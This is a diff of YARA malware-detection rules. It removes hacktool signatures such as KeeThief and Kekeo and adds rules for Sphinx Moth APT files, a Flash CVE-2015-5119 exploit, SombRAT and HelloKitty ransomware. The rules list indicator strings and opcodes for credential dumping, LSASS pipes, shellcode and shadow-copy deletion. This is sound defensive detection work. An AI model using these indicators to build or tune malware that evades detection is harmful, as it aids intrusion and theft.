+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "092bb19cd7a4250560ea71a3e54780a8fd34a229caa294e4cd5b6d522850d519"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b4f3787a19b71c47bc4357a5a77ffb456e2f71fd858079d93e694a6a79f66533"
+		hash1 = "6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334"
 
 	strings:
-		$s1 = "\\cmd.exe\" /k wusa c:\\users\\" ascii
-		$s2 = "D:\\gitpoc\\UAC\\src\\x64\\Release\\lpe.pdb" fullword ascii
-		$s3 = "Folder Created: " fullword wide
+		$x1 = "%s\\rundll32.exe %s ServiceTake %s %s" fullword ascii
+		$x2 = "#%sCmd shell is not running,or your cmd is error!" fullword ascii
+		$x3 = "Take Screen Error,May no user login!" fullword ascii
+		$x4 = "Get logon user fail!" fullword ascii
+		$x5 = "8. LoginPasswd:%s" fullword ascii
+		$x6 = "Take Screen Error,service dll not exists" fullword ascii
+		$s1 = "taskkill /f /pid %s" fullword ascii
+		$s2 = "TClient.exe" fullword ascii
+		$s3 = "%s\\wab32res.dll" fullword ascii
+		$s4 = "%s\\rasauto.dll" fullword ascii
+		$s5 = "Download file:%s index:%d" fullword ascii
+		$s6 = "LogonUser: [%s]" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Shellcodegenerator : FILE
+rule SIGNATURE_BASE_Sphinx_Moth_Cudacrt : FILE
 {
 	meta:
-		description = "Detects POC code from disclosed 0day hacktool set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "49250cbe-7bbd-5462-9324-1a8f350386f3"
-		date = "2017-07-07"
+		description = "sphinx moth threat group file cudacrt.dll"
+		author = "Kudelski Security - Nagravision SA"
+		id = "233f657b-029a-5ed4-b2f7-712851297f18"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "Disclosed 0day Repos"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3804-L3817"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b267a816871c30e9403805b942be25ed8e28ad2fd946f234f6877a65420754d8"
+		reference = "www.kudelskisecurity.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sphinx_moth.yar#L9-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae7ff3d5ffd29de80ce5dcccde9af04d2537a279fe35f6e94257d59a462ba6a0"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "55c4073bf8d38df7d392aebf9aed2304109d92229971ffac6e1c448986a87916"
 
 	strings:
-		$x1 = "\\Release\\shellcodegenerator.pdb" ascii
+		$s0 = "HPSSOEx.dll" fullword wide
+		$s1 = "255.255.255.254" fullword wide
+		$s2 = "SOFTWARE\\SsoAuth\\Service" fullword wide
+		$op0 = { ff 15 5f de 00 00 48 8b f8 48 85 c0 75 0d 48 8b }
+		$op1 = { 45 33 c9 4c 8d 05 a7 07 00 00 33 d2 33 c9 ff 15 }
+		$op2 = { e8 7a 1c 00 00 83 f8 01 74 17 b9 03 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and all of them )
+		uint16(0)==0x5a4d and filesize <243KB and all of ($s*) and 1 of ($op*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Securityxploded_Producer_String : FILE
+rule SIGNATURE_BASE_Sphinx_Moth_H2T : FILE
 {
 	meta:
-		description = "Detects hacktools by SecurityXploded"
-		author = "Florian Roth (Nextron Systems)"
-		id = "739c4ba1-5126-51cc-a2dd-cdac2737e29a"
-		date = "2017-07-13"
+		description = "sphinx moth threat group file h2t.dat"
+		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+		id = "62d14efd-7d0b-5f66-9e78-74f3f9e2fd5b"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "http://securityxploded.com/browser-password-dump.php"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3819-L3833"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "101e0b8b8aeb8ed4314bc07139dcc2b40600fde82ff786d15a15c10692f9aa4a"
-		score = 60
+		reference = "www.kudelskisecurity.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sphinx_moth.yar#L28-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7aca260d415de84cf432b18385db6a9768a036e3bd0a9aa8ded4a1bfcad26d0c"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d57847db5458acabc87daee6f30173348ac5956eb25e6b845636e25f5a56ac59"
 
 	strings:
-		$x1 = "http://securityxploded.com" fullword ascii
+		$x1 = "%s <proxy ip> <proxy port> <target ip> <target port> <cmd> [arg1 cmd] ... [argX cmd]" fullword ascii
+		$s1 = "[-] Error in connection() %d - %s" fullword ascii
+		$s2 = "[-] Child process exit." fullword ascii
+		$s3 = "POST http://%s:%s/ HTTP/1.1" fullword ascii
+		$s4 = "pipe() to" fullword ascii
+		$s5 = "pipe() from" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and all of them )
+		uint16(0)==0x5a4d and filesize <156KB and ($x1 or all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Kekeo_Hacktool : FILE
+rule SIGNATURE_BASE_Sphinx_Moth_Iastor32 : FILE
 {
 	meta:
-		description = "Detects Kekeo Hacktool"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a4158da8-fc4d-5dc6-b44c-f5325b3bb8ca"
-		date = "2017-07-21"
+		description = "sphinx moth threat group file iastor32.exe"
+		author = "Kudelski Security - Nagravision SA"
+		id = "5688c598-ea18-578f-bb8a-3729c0502af5"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/gentilkiwi/kekeo/releases"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3845-L3860"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "14283064e7c8fcee9cde206d25b43b02876a7a4d5de9da6dab47d7f5ba54f019"
+		reference = "www.kudelskisecurity.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sphinx_moth.yar#L47-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "056949677654a88fb430c988939006dacfefdabbe12824936a01e5aabbb73441"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ce92c0bcdf63347d84824a02b7a448cf49dd9f44db2d02722d01c72556a2b767"
-		hash2 = "49d7fec5feff20b3b57b26faccd50bc05c71f1dddf5800eb4abaca14b83bba8c"
 
 	strings:
-		$x1 = "[ticket %u] session Key is NULL, maybe a TGT without enough rights when WCE dumped it." fullword wide
-		$x2 = "ERROR kuhl_m_smb_time ; Invalid! Command: %02x - Status: %08x" fullword wide
+		$s0 = "MIIEpQIBAAKCAQEA4lSvv/W1Mkz38Q3z+EzJBZRANzKrlxeE6/UXWL67YtokF2nN" fullword ascii
+		$s1 = "iAeS3CCA4wli6+9CIgX8SAiXd5OezHvI1jza61z/flsqcC1IP//gJVt16nRx3s9z" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*)))
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Allthethings : FILE
+rule SIGNATURE_BASE_Sphinx_Moth_Kerberos32 : FILE
 {
 	meta:
-		description = "Detects AllTheThings"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c3169ca7-3482-5d55-a1d9-6d1c01349922"
-		date = "2017-07-27"
-		modified = "2022-12-21"
-		reference = "https://github.com/subTee/AllTheThings"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3873-L3892"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d6b961afb98cfaefe930a7bc246b3f087469b752a8d4abb62b2826418fdfd53"
+		description = "sphinx moth threat group file kerberos32.dll"
+		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+		id = "769ee362-2363-511a-8f17-99e66c9bab53"
+		date = "2015-08-06"
+		modified = "2023-12-05"
+		reference = "www.kudelskisecurity.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sphinx_moth.yar#L61-L85"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b672c9b9b0ffffd8f243832ea217bfc10b08026c71d297ee1047ca999fb829c"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5a0e9a9ce00d843ea95bd5333b6ab50cc5b1dbea648cc819cfe48482513ce842"
 
 	strings:
-		$x1 = "\\obj\\Debug\\AllTheThings.pdb" ascii
-		$x2 = "AllTheThings.exe" fullword wide
-		$x3 = "\\AllTheThings.dll" ascii
-		$x4 = "Hello From Main...I Don't Do Anything" fullword wide
-		$x5 = "I am a basic COM Object" fullword wide
-		$x6 = "I shouldn't really execute either." fullword wide
+		$x1 = "%WINDIR%\\ativpsrz.bin" fullword ascii
+		$x2 = "%WINDIR%\\ativpsrn.bin" fullword ascii
+		$x3 = "kerberos32.dll" fullword wide
+		$x4 = "KERBEROS64.dll" fullword ascii
+		$x5 = "kerberos%d.dll" fullword ascii
+		$s1 = "\\\\.\\pipe\\lsassp" fullword ascii
+		$s2 = "LSASS secure pipe" fullword ascii
+		$s3 = "NullSessionPipes" fullword ascii
+		$s4 = "getlog" fullword ascii
+		$s5 = "startlog" fullword ascii
+		$s6 = "stoplog" fullword ascii
+		$s7 = "Unsupported OS (%d)" fullword ascii
+		$s8 = "Unsupported OS (%s)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <300KB and (2 of ($x*) or all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Impacket_Keyword : FILE
+rule SIGNATURE_BASE_Sphinx_Moth_Kerberos64 : FILE
 {
 	meta:
-		description = "Detects Impacket Keyword in Executable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a92962e6-1b05-583b-8b06-f226bdea88e2"
-		date = "2017-08-04"
+		description = "sphinx moth threat group file kerberos64.dll"
+		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+		id = "5a2487e4-cda4-5d45-9351-edd2b69c460a"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3894-L3911"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "92a911dc36f8e74ad49ae09ef4dd997b968a2dde46a7500c98983fafb84a086e"
-		score = 60
+		reference = "www.kudelskisecurity.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sphinx_moth.yar#L87-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "13aeb72fcd0f5fd6e73464a90787c756c50569f9eae48945e4ff90d8f9073585"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9388c78ea6a78dbea307470c94848ae2481481f593d878da7763e649eaab4068"
-		hash2 = "2f6d95e0e15174cfe8e30aaa2c53c74fdd13f9231406b7103da1e099c08be409"
 
 	strings:
-		$s1 = "impacket.smb(" ascii
-		$s2 = "impacket.ntlm(" ascii
-		$s3 = "impacket.nmb(" ascii
+		$s0 = "KERBEROS64.dll" fullword ascii
+		$s1 = "zeSecurityDescriptor" fullword ascii
+		$s2 = "SpGetInfo" fullword ascii
+		$s3 = "SpShutdown" fullword ascii
+		$op0 = { 75 05 e8 6a c7 ff ff 48 8b 1d 47 d6 00 00 33 ff }
+		$op1 = { 48 89 05 0c 2b 01 00 c7 05 e2 29 01 00 09 04 00 }
+		$op2 = { 48 8d 3d e3 ee 00 00 ba 58 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <14000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <406KB and all of ($s*) and 1 of ($op*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Passwordspro : FILE
+rule SIGNATURE_BASE_Sphinx_Moth_Nvcplex : FILE
 {
 	meta:
-		description = "Auto-generated rule - file PasswordsPro.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c749f883-364e-5f65-9eb8-3dcd74495f7c"
-		date = "2017-08-27"
+		description = "sphinx moth threat group file nvcplex.dat"
+		author = "Kudelski Security - Nagravision SA"
+		id = "dd1b4071-adf5-5d54-9b4c-877f0965bdc7"
+		date = "2015-08-06"
 		modified = "2023-12-05"
-		reference = "PasswordPro"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3924-L3942"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "24887c3a7e4997c9a4e5d3317a5684b0eca7ccc0ffb213660dd9b37bb220f514"
+		reference = "www.kudelskisecurity.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sphinx_moth.yar#L106-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2f851c0ab8c4a426b00addfbe0da7ceebb08e93014efcb11d64247d14fec909b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5b3d6654e6d9dc49ee1136c0c8e8122cb0d284562447abfdc05dfe38c79f95bf"
 
 	strings:
-		$s1 = "No users marked for attack or all marked users already have passwords found!" fullword ascii
-		$s2 = "%s\\PasswordsPro.ini.Dictionaries(%d)" fullword ascii
-		$s3 = "Passwords processed since attack start:" fullword ascii
+		$s0 = "mshtaex.exe" fullword wide
+		$op0 = { 41 8b cc 44 89 6c 24 28 48 89 7c 24 20 ff 15 d3 }
+		$op1 = { 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b }
+		$op2 = { 8b ce e8 49 47 00 00 90 8b 43 04 89 05 93 f1 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <214KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Passwordpro_NTLM_DLL : FILE
+rule SIGNATURE_BASE_Flash_CVE_2015_5119_APT3_Leg : CVE_2015_5119 FILE
 {
 	meta:
-		description = "Auto-generated rule - file NTLM.dll"
+		description = "Exploit Sample CVE-2015-5119"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc86b868-000f-56b1-91cd-4aa8caace1df"
-		date = "2017-08-27"
+		id = "d9efaea3-0644-501a-990b-665e257beb86"
+		date = "2015-08-01"
 		modified = "2023-12-05"
-		reference = "PasswordPro"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3944-L3962"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1021fe1a4c7a237d7a7cfcb1db8fa5e6fa640d3dd9f14ed37910a6b847717d36"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2015_5119.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "99af6b9ecc18b87b14968eb8fffefac7be10dd727d8af2d0488fae4a96196e85"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2015-5119, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "47d4755d31bb96147e6230d8ea1ecc3065da8e557e8176435ccbcaea16fe50de"
+		yaraexchange = "No distribution without author's consent"
 
 	strings:
-		$s1 = "NTLM.dll" fullword ascii
-		$s2 = "Algorithm: NTLM" fullword ascii
+		$s0 = "HT_exploit" fullword ascii
+		$s1 = "HT_Exploit" fullword ascii
+		$s2 = "flash_exploit_" ascii
+		$s3 = "exp1_fla/MainTimeline" ascii fullword
+		$s4 = "exp2_fla/MainTimeline" ascii fullword
+		$s5 = "_shellcode_32" ascii
+		$s6 = "todo: unknown 32-bit target" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and pe.exports("GetHash") and pe.exports("GetInfo") and ( all of them ))
+		uint16(0)==0x5746 and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keethief_PS : FILE
+rule SIGNATURE_BASE_APT_UNC2447_MAL_SOMBRAT_May21_1 : FILE
 {
 	meta:
-		description = "Detects component of KeeTheft - KeePass dump tool - file KeeThief.ps1"
+		description = "Detects SombRAT samples from UNC2447 campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9a54e8d1-3cae-51e8-8da0-024ac25dc6d0"
-		date = "2017-08-29"
-		modified = "2023-12-05"
-		reference = "https://github.com/HarmJ0y/KeeThief"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3974-L3991"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d3d4ff3b854c5efad99e6f20121b16d5f2f0a31a4c8efd87a937f857923a5e1"
+		id = "78b46bed-4fd4-596f-bba7-12243f467af3"
+		date = "2021-05-01"
+		modified = "2023-01-07"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc2447_sombrat.yar#L2-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f2572745cbd68c5f2be5c64b160d2513938daba6da57523012491acc63cfee4"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a3b976279ded8e64b548c1d487212b46b03aaec02cb6e199ea620bd04b8de42f"
+		hash1 = "61e286c62e556ac79b01c17357176e58efb67d86c5d17407e128094c3151f7f9"
+		hash2 = "99baffcd7a6b939b72c99af7c1e88523a50053ab966a079d9bf268aff884426e"
 
 	strings:
-		$x1 = "$WMIProcess = Get-WmiObject win32_process -Filter \"ProcessID = $($KeePassProcess.ID)\"" fullword ascii
-		$x2 = "if($KeePassProcess.FileVersion -match '^2\\.') {" fullword ascii
+		$x1 = "~arungvc" ascii fullword
+		$s1 = "plugin64_" ascii
+		$s2 = "0xUnknown" ascii fullword
+		$s3 = "b%x.%s" ascii fullword
+		$s4 = "/news" ascii
+		$sc1 = { 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73
+               00 2E 00 65 00 78 00 65 00 00 00 00 00 00 00 00
+               00 49 73 57 6F 77 36 34 50 72 6F 63 65 73 73 00
+               00 6B 00 65 00 72 00 6E 00 65 00 6C 00 33 00 32
+               00 00 00 00 00 00 00 00 00 47 00 6C 00 6F 00 62
+               00 61 00 6C 00 5C 00 25 00 73 }
+		$op1 = { 66 90 0f b6 45 80 32 44 0d 81 34 de 88 44 0d 81 48 ff c1 48 83 f9 19 72 e9 }
+		$op2 = { 48 8b d0 66 0f 6f 05 ?1 ?? 0? 00 f3 0f 7f 44 24 68 66 89 7c 24 58 41 b8 10 00 00 00 4c 39 40 10 4c 0f 42 40 10 48 83 78 18 08 }
+		$op3 = { 49 f7 b0 a0 00 00 00 42 0f b6 04 0a 41 30 44 33 fe 48 83 79 18 10 72 03 48 8b 09 33 d2 b8 05 00 00 00 }
 
 	condition:
-		( uint16(0)==0x7223 and filesize <1000KB and (1 of ($x*)))
+		uint16(0)==0x5a4d and filesize <3000KB and ((1 of ($x*) and 1 of ($s*)) or 3 of them ) or 5 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keetheft_EXE : FILE
+rule SIGNATURE_BASE_APT_UNC2447_MAL_RANSOM_Hellokitty_May21_1 : FILE
 {
 	meta:
-		description = "Detects component of KeeTheft - KeePass dump tool - file KeeTheft.exe"
+		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "65531239-c5fa-5285-8f44-2d858e211c9b"
-		date = "2017-08-29"
+		id = "c84b2430-dcf1-5a80-96a0-02d292ea386b"
+		date = "2021-05-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/HarmJ0y/KeeThief"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3993-L4012"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a6019248ad9708b1508fdf77a2ecbe92a7e8aac916fbca88aec117abeb07b9a0"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc2447_sombrat.yar#L38-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "acc0ab5502d53c6e22c8650c29c5459a6106f33c398e4efcd963f54971a0c870"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f06789c3e9fe93c165889799608e59dda6b10331b931601c2b5ae06ede41dc22"
+		hash1 = "02a08b994265901a649f1bcf6772bc06df2eb51eb09906af9fd0f4a8103e9851"
+		hash2 = "0e5f7737704c8f25b2b8157561be54a463057cd4d79c7e016c30a1cf6590a85c"
+		hash3 = "52dace403e8f9b4f7ea20c0c3565fa11b6953b404a7d49d63af237a57b36fd2a"
+		hash4 = "7be901c5f7ffeb8f99e4f5813c259d0227335680380ed06df03fb836a041cb06"
+		hash5 = "947e357bfdfe411be6c97af6559fd1cdc5c9d6f5cea122bf174d124ee03d2de8"
+		hash6 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
+		hash7 = "a147945635d5bd0fa832c9b55bc3ebcea7a7787e8f89b98a44279f8eddda2a77"
+		hash8 = "bade05a30aba181ffbe4325c1ba6c76ef9e02cbe41a4190bd3671152c51c4a7b"
+		hash9 = "c2498845ed4b287fd0f95528926c8ee620ef0cbb5b27865b2007d6379ffe4323"
+		hash10 = "dc007e71085297883ca68a919e37687427b7e6db0c24ca014c148f226d8dd98f"
+		hash11 = "ef614b456ca4eaa8156a895f450577600ad41bd553b4512ae6abf3fb8b5eb04e"
 
 	strings:
-		$x1 = "Error: Could not create a thread for the shellcode" fullword wide
-		$x2 = "Could not find address marker in shellcode" fullword wide
-		$x3 = "GenerateDecryptionShellCode" fullword ascii
-		$x4 = "KeePassLib.Keys.KcpPassword" fullword wide
-		$x5 = "************ Found a CompositeKey! **********" fullword wide
-		$x6 = "*** Interesting... there are multiple .NET runtimes loaded in KeePass" fullword wide
-		$x7 = "GetKcpPasswordInfo" fullword ascii
+		$xop1 = { 8b 45 08 8b 75 f4 fe 85 f7 fd ff ff 0f 11 44 05 b4 83 c0 10 89 45 08 83 f8 30 7c 82 }
+		$xop2 = { 81 c3 dc a9 b0 5c c1 c9 0b 33 c8 89 55 a0 8b c7 8b 7d e0 c1 c8 06 33 f7 }
+		$s1 = "select * from Win32_ShadowCopy" wide fullword
+		$s2 = "bootfont.bin" wide fullword
+		$s3 = "DECRYPT_NOTE.txt" wide fullword
+		$s4 = ".onion" wide
+		$sop1 = { 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 0f 11 45 ec }
+		$sop2 = { 56 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 }
+		$sop3 = { 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <800KB and 1 of ($x*) or 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Keetheft_Out_Shellcode : FILE
+rule SIGNATURE_BASE_APT_UNC2447_MAL_RANSOM_Hellokitty_May21_2 : FILE
 {
 	meta:
-		description = "Detects component of KeeTheft - KeePass dump tool - file Out-Shellcode.ps1"
+		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1263ad5d-5d50-50e6-ad78-9d5e4e16634b"
-		date = "2017-08-29"
+		id = "82aaabc6-102a-512e-8c2a-4d6fda864c68"
+		date = "2021-05-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/HarmJ0y/KeeThief"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4014-L4028"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d536edf1a40defc3b3aa7ce8e595c53e7dd3b7f1daea772c13319ee5bf7675e"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc2447_sombrat.yar#L74-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1eee3a00ab3f70425d2b6bf5dc507155bf504b851ddb6515602d83d8b6a254b8"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2afb1c8c82363a0ae43cad9d448dd20bb7d2762aa5ed3672cd8e14dee568e16b"
+		hash1 = "10887d13dba1f83ef34e047455a04416d25a83079a7f3798ce3483e0526e3768"
+		hash2 = "3ae7bedf236d4e53a33f3a3e1e80eae2d93e91b1988da2f7fcb8fde5dcc3a0e9"
+		hash3 = "501487b025f25ddf1ca32deb57a2b4db43ccf6635c1edc74b9cff54ce0e5bcfe"
+		hash4 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
 
 	strings:
-		$x1 = "Write-Host \"Shellcode length: 0x$(($ShellcodeLength + 1).ToString('X4'))\"" fullword ascii
-		$x2 = "$TextSectionInfo = @($MapContents | Where-Object { $_ -match '\\.text\\W+CODE' })[0]" fullword ascii
+		$xop1 = { 50 8d 45 f8 50 ff 75 fc ff 15 ?? ?? 42 00 3d ea 00 00 00 75 18 83 7d f8 00 }
+		$s1 = "HelloKittyMutex" wide
